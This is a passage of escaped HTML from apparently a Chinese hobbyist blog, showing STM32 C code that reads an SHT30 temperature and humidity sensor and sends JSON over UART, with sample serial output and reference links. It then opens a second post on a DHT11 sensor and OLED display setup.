class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ememset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;{\\\u0026#34;Temperature\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;, \\\u0026#34;Humidity\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token function\"\u003estrlen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 check failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 read date failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"结果对比\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E7%BB%93%E6%9E%9C%E5%AF%B9%E6%AF%94\" class=\"headerlink\" title=\"结果对比\"\u003e\u003c/a\u003e结果对比\u003c/h2\u003e\u003cp\u003e随便复制几段单片机串口发过来的:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e53.824\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.92\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e55.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.34\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.85\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e57.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.41\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.88\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e59.815\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.33\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.98\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e01.809\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.40\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.89\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e03.808\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.96\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e05.804\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.94\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e07.799\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;54.02\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.796\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.84\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e11.807\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.37\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.82\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e13.788\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.71\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e手机上看一眼小米温湿度传感器的:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/res.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e还行。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://www.analog.com/cn/analog-dialogue/articles/i2c-communication-protocol-understanding-i2c-primer-pmbus-and-smbus.html\"\u003eI2C通信协议:了解I2C Primer、 PMBus和SMBus | 亚德诺半导体 (analog.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/m0_51429770/article/details/127661382?spm=1001.2014.3001.5506\"\u003eI2C协议介绍以及HAL库实现I2C对SHT30温湿度采样_hal i2c_HaiQinyanAN的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Yangtzey/article/details/129660763?spm=1001.2014.3001.5506\"\u003eIIC及配置应用(SHT30读取温湿度)_嵌不入的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_46251230/article/details/126722112?spm=1001.2014.3001.5506\"\u003eSTM32物联网项目-SHT30温湿度采集(IIC通信)_ONE_Day|的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#STM32%E6%B8%A9%E6%B9%BF%E5%BA%A6%E6%B5%8B%E9%87%8F%E4%B8%8E%E6%98%BE%E7%A4%BA-%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/h1\u003e\u003cp\u003e为了验收个小玩意用一晚上搓了一个,比较氵。 \u003cdel\u003e那就氵篇博客算了。\u003c/del\u003e \u003c/p\u003e\u003cp\u003e手头正好有个ST的板子,型号是STM32G431KBT6,主频170M。刚好拿过来用了。(真好用啊,就是做这个有点浪费。\u003c/p\u003e\u003cp\u003e温湿度传感器使用 \u003cstrong\u003eDHT11\u003c/strong\u003e (单总线协议),屏幕是个IIC的小OLED,还用到了串口来看数据是否正确。(没了,确实氵。\u003c/p\u003e\u003cp\u003e效果图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/index.webp\" alt=\"效果图\" style=\"zoom: 33%;\"/\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先去官网下载 \u003cstrong\u003eSTM32G4xx\u003c/strong\u003e 的包。(\u003ca href=\"https://keilpack.azureedge.net/pack/Keil.STM32G4xx_DFP.1.5.0.pack\"\u003eKeil.STM32G4xx_DFP.1.5.0.pack\u003c/a\u003e)。官网直连下载很慢,很慢……\u003c/p\u003e\u003cp\u003e然后去CubeMX里面新建工程,因为是官方的板子,所以可以直接选择这块板子的模板创建。时钟设置170M(默认的)。选择一个没有中文的路径生成工程。\u003c/p\u003e\u003cp\u003e接下来的流程是:\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置串口\u003c/li\u003e\u003cli\u003e驱动OLED屏幕\u003cul\u003e\u003cli\u003e重新配置延时函数\u003c/li\u003e\u003cli\u003e添加软件IIC\u003c/li\u003e\u003cli\u003e添加OLED驱动\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因为使用的OLED驱动比较特殊,添加之后无法使用原来的 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,需要按照该驱动的要求重新配置延时函数,之后使用其提供的 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 两个函数代替 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,当然实际上是方便不少的,因为 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 是毫秒级延时,所以直接使用上面两个函数可以让自己少写一个微秒的延时函数,具体原理可以参考\u003ca href=\"https://blog.ksfu.top/posts/463a/\"\u003e之前的一篇博客\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"具体实现\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0\" class=\"headerlink\" title=\"具体实现\"\u003e\u003c/a\u003e具体实现\u003c/h2\u003e\u003ch3 id=\"串口设置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E4%B8%B2%E5%8F%A3%E8%AE%BE%E7%BD%AE\" class=\"headerlink\" title=\"串口设置\"\u003e\u003c/a\u003e串口设置\u003c/h3\u003e\u003cp\u003e串口的具体实现参考我之前的博客步骤:\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e 。因为这次没有用到收的功能,所以只需要设置好发送功能即可。\u003c/p\u003e\u003cp\u003e本次使用USART1。其实 \u003cstrong\u003e更推荐\u003c/strong\u003e 使用USART2的,因为官方的板子上本身就有串口芯片,使用的USART2,这样用一根USB线连电脑上就可以同时供电,下载和查看串口数据了,不用自己再连一个USB转串口的模块了,还能腾出来两个引脚,这STM32G431KBT6的引脚是真的少。 \u003cdel\u003e(还是官方板子好用,就是贵\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e)晚上要去重庆,剩下的具体流程就等下周回来再写了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e回来了,发现实习二面寄了,悲)\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003ch3 id=\"驱动OLED屏幕\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8OLED%E5%B1%8F%E5%B9%95\" class=\"headerlink\" title=\"驱动OLED屏幕\"\u003e\u003c/a\u003e驱动OLED屏幕\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e这一节可以略过。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e本次的驱动选自 \u003ca href=\"http://www.lcdwiki.com/zh/Main_Page\"\u003eLCD wiki\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e因为 LCD wiki 的驱动为gb2312编码,为了以后写的舒服,我先转换为了utf-8,具体可以参考:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/\"\u003e批量转换文件编码gb2312转utf-8\u003c/a\u003e 。但是注意,代码里有中文的地方,比如 \u003ccode\u003etest.c\u003c/code\u003e,\u003ccode\u003eoledfont.h\u003c/code\u003e等文件需要保持原来的gb2312。\u003cdel\u003e(看见编译时候的编码报错真是心累呐\u003c/del\u003e\u003c/p\u003e\u003cp\u003eLCD wiki 的驱动使用标准库编写,放入HAL库的项目中会狠狠报错,所以要进行修改)我自己修改了一下,以后写一下修改过程emmm(咕咕\u003c/p\u003e\u003ch4 id=\"重新配置延时函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%87%8D%E6%96%B0%E9%85%8D%E7%BD%AE%E5%BB%B6%E6%97%B6%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"重新配置延时函数\"\u003e\u003c/a\u003e重新配置延时函数\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003esys.h\u003c/code\u003e , \u003ccode\u003esys.c\u003c/code\u003e , \u003ccode\u003edelay.h\u003c/code\u003e , \u003ccode\u003edelay.c\u003c/code\u003e ,注意修改里面包含的头文件为对应的 \u003ccode\u003e#include \u0026#34;stm32g4xx.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e之后在 \u003ccode\u003emain.c\u003c/code\u003e 里面进行初始化: \u003ccode\u003edelay_init();\u003c/code\u003e 初始化完成后以后的延时就用 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加软件IIC\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0%E8%BD%AF%E4%BB%B6IIC\" class=\"headerlink\" title=\"添加软件IIC\"\u003e\u003c/a\u003e添加软件IIC\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003eiic.c\u003c/code\u003e , \u003ccode\u003eiic.h\u003c/code\u003e ,注意修改里面 